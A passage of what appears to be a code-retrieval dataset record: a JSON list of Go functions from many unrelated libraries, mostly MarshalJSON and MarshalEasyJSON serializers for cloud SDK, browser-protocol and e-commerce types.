{\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", v.ID)\n\treturn json.Marshal(objectMap)\n}","func (v BaseOp) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi125(w, v)\n}","func (m Offload) MarshalJSON() ([]byte, error) {\n\t_parts := make([][]byte, 0, 3)\n\n\taO0, err := swag.WriteJSON(m.OffloadPost)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO0)\n\n\taO1, err := swag.WriteJSON(m.ResourceNoID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO1)\n\n\taO2, err := swag.WriteJSON(m.OffloadOAIGenAllOf2)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO2)\n\treturn swag.ConcatJSON(_parts...), nil\n}","func JSONEncoder() Encoder { return jsonEncoder }","func (v EventCompilationCacheProduced) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage86(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (a *SetProduceCompilationCacheArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy SetProduceCompilationCacheArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}","func (v ClearCompilationCacheParams) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage95(w, v)\n}","func (v EventBackForwardCacheNotUsed) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage87(w, v)\n}","func (v count) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson390b7126EncodeGithubComChancedPicker42(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (v ShadowStateDeltaSt) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonB7ed31d3EncodeMevericcoreMccommon4(w, v)\n}","func (v VPNServerConfigVPNClientRevokedCertificate) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", v.Name)\n\tpopulate(objectMap, \"thumbprint\", v.Thumbprint)\n\treturn json.Marshal(objectMap)\n}","func (obj CustomObjectKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CustomObjectKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"key-value-document\", Alias: (*Alias)(&obj)})\n}","func (c Container) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", c.ID)\n\treturn json.Marshal(objectMap)\n}","func (j *ModifyAckDeadlineResponse) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (v ConnectionUpdate) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson42239ddeEncodeGithubComKhliengDispatchServer28(w, v)\n}","func (k KeyDelivery) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"accessControl\", k.AccessControl)\n\treturn json.Marshal(objectMap)\n}","func (obj CartReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CartReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"cart\", Alias: (*Alias)(&obj)})\n}","func (obj CartRemoveLineItemAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveLineItemAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeLineItem\", Alias: (*Alias)(&obj)})\n}","func (r *Instance) marshal(c *Client) ([]byte, error) {\n\tm, err := expandInstance(c, r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling Instance: %w\", err)\n\t}\n\n\treturn json.Marshal(m)\n}","func (rmwaps ResourceModelWithAllowedPropertySet)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n if(rmwaps.Location != nil) {\n objectMap[\"location\"] = rmwaps.Location\n }\n if(rmwaps.ManagedBy != nil) {\n objectMap[\"managedBy\"] = rmwaps.ManagedBy\n }\n if(rmwaps.Kind != nil) {\n objectMap[\"kind\"] = rmwaps.Kind\n }\n if(rmwaps.Tags != nil) {\n objectMap[\"tags\"] = rmwaps.Tags\n }\n if(rmwaps.Identity != nil) {\n objectMap[\"identity\"] = rmwaps.Identity\n }\n if(rmwaps.Sku != nil) {\n objectMap[\"sku\"] = rmwaps.Sku\n }\n if(rmwaps.Plan != nil) {\n objectMap[\"plan\"] = rmwaps.Plan\n }\n return json.Marshal(objectMap)\n }","func (v Mode) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson42239ddeEncodeGithubComKhliengDispatchServer16(w, v)\n}","func (obj ProductVariantKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias ProductVariantKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"product-variant\", Alias: (*Alias)(&obj)})\n}","func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tgpbo.Kind = KindGet\n\tobjectMap := make(map[string]interface{})\n\tif gpbo.IncludeValue != nil {\n\t\tobjectMap[\"IncludeValue\"] = gpbo.IncludeValue\n\t}\n\tif gpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = gpbo.PropertyName\n\t}\n\tif gpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = gpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func ReMarshal(in, out interface{}) error {\n\tj, err := json.Marshal(in)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(j, out)\n}"],"string":"[\n \"func (op *OpRetain) UnmarshalJSON(raw []byte) error {\\n\\treturn json.Unmarshal(raw, &op.Fields)\\n}\",\n \"func (op *Operation) Marshal() ([]byte, error) {\\n\\treturn json.Marshal(op)\\n}\",\n \"func (o Operation)MarshalJSON() ([]byte, error){\\n objectMap := make(map[string]interface{})\\n return json.Marshal(objectMap)\\n }\",\n \"func (m Lock) MarshalJSON() ([]byte, error) {\\n\\tvar _parts [][]byte\\n\\n\\taO0, err := swag.WriteJSON(m.Reference)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t_parts = append(_parts, aO0)\\n\\n\\tvar data struct {\\n\\t\\tCreatedAt strfmt.DateTime `json:\\\"created_at,omitempty\\\"`\\n\\n\\t\\tCreatedBy *UserReference `json:\\\"created_by,omitempty\\\"`\\n\\n\\t\\tExpiredAt strfmt.DateTime `json:\\\"expired_at,omitempty\\\"`\\n\\n\\t\\tIsDownloadPrevented bool `json:\\\"is_download_prevented,omitempty\\\"`\\n\\t}\\n\\n\\tdata.CreatedAt = m.CreatedAt\\n\\n\\tdata.CreatedBy = m.CreatedBy\\n\\n\\tdata.ExpiredAt = m.ExpiredAt\\n\\n\\tdata.IsDownloadPrevented = m.IsDownloadPrevented\\n\\n\\tjsonData, err := swag.WriteJSON(data)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t_parts = append(_parts, jsonData)\\n\\n\\treturn swag.ConcatJSON(_parts...), nil\\n}\",\n \"func (m StorageReplicationBlackout) MarshalJSON() ([]byte, error) {\\n\\t_parts := make([][]byte, 0, 1)\\n\\n\\tvar dataAO0 struct {\\n\\t\\tEnd string `json:\\\"End,omitempty\\\"`\\n\\n\\t\\tStart string `json:\\\"Start,omitempty\\\"`\\n\\t}\\n\\n\\tdataAO0.End = m.End\\n\\n\\tdataAO0.Start = m.Start\\n\\n\\tjsonDataAO0, errAO0 := swag.WriteJSON(dataAO0)\\n\\tif errAO0 != nil {\\n\\t\\treturn nil, errAO0\\n\\t}\\n\\t_parts = append(_parts, jsonDataAO0)\\n\\n\\treturn swag.ConcatJSON(_parts...), nil\\n}\",\n \"func (v EventBackForwardCacheNotUsed) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage87(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (v cancelInvocationMessage) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson2802b09fEncodeGithubComPhilippseithSignalr7(w, v)\\n}\",\n \"func (E ERC20Lock) Marshal() ([]byte, error) {\\n\\treturn json.Marshal(E)\\n}\",\n \"func (v BackForwardCacheNotRestoredExplanation) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage102(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (obj ProductDiscountKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias ProductDiscountKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"product-discount\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func handleKeep(w http.ResponseWriter, r *http.Request) {\\n json.NewEncoder(w).Encode(keeps)\\n}\",\n \"func (a *RemoveScriptToEvaluateOnNewDocumentArgs) MarshalJSON() ([]byte, error) {\\n\\ttype Copy RemoveScriptToEvaluateOnNewDocumentArgs\\n\\tc := &Copy{}\\n\\t*c = Copy(*a)\\n\\treturn json.Marshal(&c)\\n}\",\n \"func (c *Container) MarshalJSON() ([]byte, error) {\\n\\tc.lock.RLock()\\n\\tdefer c.lock.RUnlock()\\n\\n\\treturn json.Marshal((*jContainer)(c))\\n}\",\n \"func (m CachePayload) Marshal() ([]byte, error) {\\n\\treturn m.MarshalJSON()\\n}\",\n \"func (obj CartDiscountKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartDiscountKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"cart-discount\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (sc *Contract) Marshal() ([]byte, error) {\\n\\treturn json.Marshal(sc)\\n}\",\n \"func (j *WorkerCreateOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (j *JSON) Marshal(target interface{}) (output interface{}, err error) {\\n\\treturn jsonEncoding.Marshal(target)\\n}\",\n \"func (v BaseOpSubscription) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi122(w, v)\\n}\",\n \"func (a *RemoveScriptToEvaluateOnLoadArgs) MarshalJSON() ([]byte, error) {\\n\\ttype Copy RemoveScriptToEvaluateOnLoadArgs\\n\\tc := &Copy{}\\n\\t*c = Copy(*a)\\n\\treturn json.Marshal(&c)\\n}\",\n \"func (app *adapter) ToJSON(accesses Accesses) *JSONAccesses {\\n\\treturn createJSONAccessesFromAccesses(accesses)\\n}\",\n \"func (v VPNClientRevokedCertificate) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"etag\\\", v.Etag)\\n\\tpopulate(objectMap, \\\"id\\\", v.ID)\\n\\tpopulate(objectMap, \\\"name\\\", v.Name)\\n\\tpopulate(objectMap, \\\"properties\\\", v.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (s Signature) MarshalJSON() ([]byte, error) {\\n return json.Marshal(s[:])\\n}\",\n \"func (diff Diff) MarshalJSON() ([]byte, error) {\\n var o map[string] interface{} = make(map[string] interface{})\\n o[\\\"op\\\"] = diff.Operation\\n o[\\\"id\\\"] = diff.Id\\n o[\\\"type\\\"] = diff.Type\\n o[\\\"data\\\"] = string(diff.Data)\\n if diff.Attr.Key != \\\"\\\" {\\n var a map[string] interface{} = make(map[string] interface{})\\n a[\\\"key\\\"] = diff.Attr.Key\\n if diff.Attr.Namespace != \\\"\\\" {\\n a[\\\"ns\\\"] = diff.Attr.Namespace\\n }\\n if diff.Attr.Val != \\\"\\\" {\\n a[\\\"val\\\"] = diff.Attr.Val\\n }\\n o[\\\"attr\\\"] = a\\n }\\n json, err := json.Marshal(&o)\\n if err != nil {\\n return nil, err\\n }\\n return json, nil\\n}\",\n \"func (obj DiscountCodeKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias DiscountCodeKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"discount-code\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (m CachePayload) MarshalJSON() ([]byte, error) {\\n\\tif m == nil {\\n\\t\\treturn []byte(\\\"null\\\"), nil\\n\\t}\\n\\treturn m, nil\\n}\",\n \"func (obj StateKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias StateKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"state\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (enc *jsonEncoder) Free() {\\n\\tjsonPool.Put(enc)\\n}\",\n \"func (obj PaymentKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias PaymentKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"payment\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (obj CartRemoveDiscountCodeAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRemoveDiscountCodeAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"removeDiscountCode\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (a *CaptureSnapshotArgs) MarshalJSON() ([]byte, error) {\\n\\ttype Copy CaptureSnapshotArgs\\n\\tc := &Copy{}\\n\\t*c = Copy(*a)\\n\\treturn json.Marshal(&c)\\n}\",\n \"func (obj StoreKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias StoreKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"store\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (s *Operation) MarshalJSON() ([]byte, error) {\\n\\treturn json.Marshal(*s)\\n}\",\n \"func (e ExpressRouteCircuitReference) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"id\\\", e.ID)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (inc Incident) IncidentToJSON() ([]byte, error) {\\n\\treturn json.Marshal(inc)\\n}\",\n \"func (r *DefaultObjectAccessControl) marshal(c *Client) ([]byte, error) {\\n\\tm, err := expandDefaultObjectAccessControl(c, r)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error marshalling DefaultObjectAccessControl: %w\\\", err)\\n\\t}\\n\\n\\treturn json.Marshal(m)\\n}\",\n \"func (obj CartRecalculateAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRecalculateAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"recalculate\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (this *K8SResourceOverlayPatch) MarshalJSON() ([]byte, error) {\\n\\tstr, err := CommonMarshaler.MarshalToString(this)\\n\\treturn []byte(str), err\\n}\",\n \"func (j *CreateNhAssetOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (a *CloseArgs) MarshalJSON() ([]byte, error) {\\n\\ttype Copy CloseArgs\\n\\tc := &Copy{}\\n\\t*c = Copy(*a)\\n\\treturn json.Marshal(&c)\\n}\",\n \"func JSONMarshal(m JSONMarshaller) OptionFunc {\\n\\tif m == nil {\\n\\t\\tm = NewJSONEncoder()\\n\\t}\\n\\treturn func(c *Currency) OptionFunc {\\n\\t\\tprevious := c.jm\\n\\t\\tc.jm = m\\n\\t\\treturn JSONMarshal(previous)\\n\\t}\\n}\",\n \"func (obj PriceKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias PriceKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"price\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (j *ProposalUpdateOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (obj CartUnfreezeCartAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartUnfreezeCartAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"unfreezeCart\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j *ModifyAckDeadlineRequest) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func newJSONEncoder() *jsonEncoder {\\n\\tenc := jsonPool.Get().(*jsonEncoder)\\n\\tenc.truncate()\\n\\treturn enc\\n}\",\n \"func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tcspbo.Kind = KindCheckSequence\\n\\tobjectMap := make(map[string]interface{})\\n\\tif cspbo.SequenceNumber != nil {\\n\\t\\tobjectMap[\\\"SequenceNumber\\\"] = cspbo.SequenceNumber\\n\\t}\\n\\tif cspbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = cspbo.PropertyName\\n\\t}\\n\\tif cspbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = cspbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operations) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tif o.NextLink != nil {\\n\\t\\tobjectMap[\\\"nextLink\\\"] = o.NextLink\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (obj ProductKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias ProductKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"product\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (obj CartRemovePaymentAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRemovePaymentAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"removePayment\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func BenchmarkRpcLeaseEncodeJSON(b *testing.B) {\\n\\tbenchmarkRpcLeaseEncode(b,\\n\\t\\tencodeLeaseRequestJson, encodeLeaseReplyJson)\\n}\",\n \"func (m ManagedProxyResource) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"expiresOn\\\", m.ExpiresOn)\\n\\tpopulate(objectMap, \\\"proxy\\\", m.Proxy)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (v Commit) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjsonD2b7633eEncodeGithubComTovarischSuhovPipelineManagerInternalPkgGitlabModels2(w, v)\\n}\",\n \"func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tdpbo.Kind = KindDelete\\n\\tobjectMap := make(map[string]interface{})\\n\\tif dpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = dpbo.PropertyName\\n\\t}\\n\\tif dpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = dpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func Marshal(p Payload) ([]byte, error) {\\n\\treturn json.Marshal(p)\\n}\",\n \"func (obj CartChangeLineItemQuantityAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartChangeLineItemQuantityAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"changeLineItemQuantity\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (v EventContextDestroyed) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoWebaudio2(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (o *A_2) SerializeJSON() ([]byte, error) {\\r\\n\\treturn json.Marshal(o)\\r\\n}\",\n \"func (tr TrackedResource)MarshalJSON() ([]byte, error){\\n objectMap := make(map[string]interface{})\\n if(tr.Tags != nil) {\\n objectMap[\\\"tags\\\"] = tr.Tags\\n }\\n if(tr.Location != nil) {\\n objectMap[\\\"location\\\"] = tr.Location\\n }\\n return json.Marshal(objectMap)\\n }\",\n \"func (obj *cancel) MarshalJSON() ([]byte, error) {\\n\\tins := createJSONCancelFromCancel(obj)\\n\\treturn json.Marshal(ins)\\n}\",\n \"func (v PlantainerShadowStateSt) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson5bd79fa1EncodeMevericcoreMcplantainer3(w, v)\\n}\",\n \"func (e EndpointAccessResource) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"relay\\\", e.Relay)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (obj CartSetDeleteDaysAfterLastModificationAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartSetDeleteDaysAfterLastModificationAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"setDeleteDaysAfterLastModification\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (v cancelInvocationMessage) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson2802b09fEncodeGithubComPhilippseithSignalr7(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (v BackForwardCacheNotRestoredExplanationTree) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage101(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (c ContainerPropertiesInstanceView) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"currentState\\\", c.CurrentState)\\n\\tpopulate(objectMap, \\\"events\\\", c.Events)\\n\\tpopulate(objectMap, \\\"previousState\\\", c.PreviousState)\\n\\tpopulate(objectMap, \\\"restartCount\\\", c.RestartCount)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (r *Interconnect) marshal(c *Client) ([]byte, error) {\\n\\tm, err := expandInterconnect(c, r)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error marshalling Interconnect: %w\\\", err)\\n\\t}\\n\\n\\treturn json.Marshal(m)\\n}\",\n \"func (obj CartKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"cart\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (c *Counter) MarshalJSON() ([]byte, error) {\\n\\trate := c.ComputeRate()\\n\\treturn ([]byte(\\n\\t\\tfmt.Sprintf(`{\\\"current\\\": %d, \\\"rate\\\": %f}`, c.Get(), rate))), nil\\n}\",\n \"func (v BaseOpSubscription) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi122(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (c *Counter) MarshalJSON() ([]byte, error) {\\n\\treturn json.Marshal(c.value)\\n}\",\n \"func (a *ClearCompilationCacheArgs) MarshalJSON() ([]byte, error) {\\n\\ttype Copy ClearCompilationCacheArgs\\n\\tc := &Copy{}\\n\\t*c = Copy(*a)\\n\\treturn json.Marshal(&c)\\n}\",\n \"func (l LiveEventPreviewAccessControl) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"ip\\\", l.IP)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (obj CategoryKeyReference) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CategoryKeyReference\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"typeId\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"category\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (v RemoveSymbolFromWatchlistRequest) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson3e8ab7adEncodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(w, v)\\n}\",\n \"func (v VirtualNetworkConnectionGatewayReference) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"id\\\", v.ID)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (v BaseOp) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi125(w, v)\\n}\",\n \"func (m Offload) MarshalJSON() ([]byte, error) {\\n\\t_parts := make([][]byte, 0, 3)\\n\\n\\taO0, err := swag.WriteJSON(m.OffloadPost)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t_parts = append(_parts, aO0)\\n\\n\\taO1, err := swag.WriteJSON(m.ResourceNoID)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t_parts = append(_parts, aO1)\\n\\n\\taO2, err := swag.WriteJSON(m.OffloadOAIGenAllOf2)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t_parts = append(_parts, aO2)\\n\\treturn swag.ConcatJSON(_parts...), nil\\n}\",\n \"func JSONEncoder() Encoder { return jsonEncoder }\",\n \"func (v EventCompilationCacheProduced) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage86(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (a *SetProduceCompilationCacheArgs) MarshalJSON() ([]byte, error) {\\n\\ttype Copy SetProduceCompilationCacheArgs\\n\\tc := &Copy{}\\n\\t*c = Copy(*a)\\n\\treturn json.Marshal(&c)\\n}\",\n \"func (v ClearCompilationCacheParams) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage95(w, v)\\n}\",\n \"func (v EventBackForwardCacheNotUsed) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage87(w, v)\\n}\",\n \"func (v count) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson390b7126EncodeGithubComChancedPicker42(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (v ShadowStateDeltaSt) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjsonB7ed31d3EncodeMevericcoreMccommon4(w, v)\\n}\",\n \"func (v VPNServerConfigVPNClientRevokedCertificate) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"name\\\", v.Name)\\n\\tpopulate(objectMap, \\\"thumbprint\\\", v.Thumbprint)\\n\\treturn 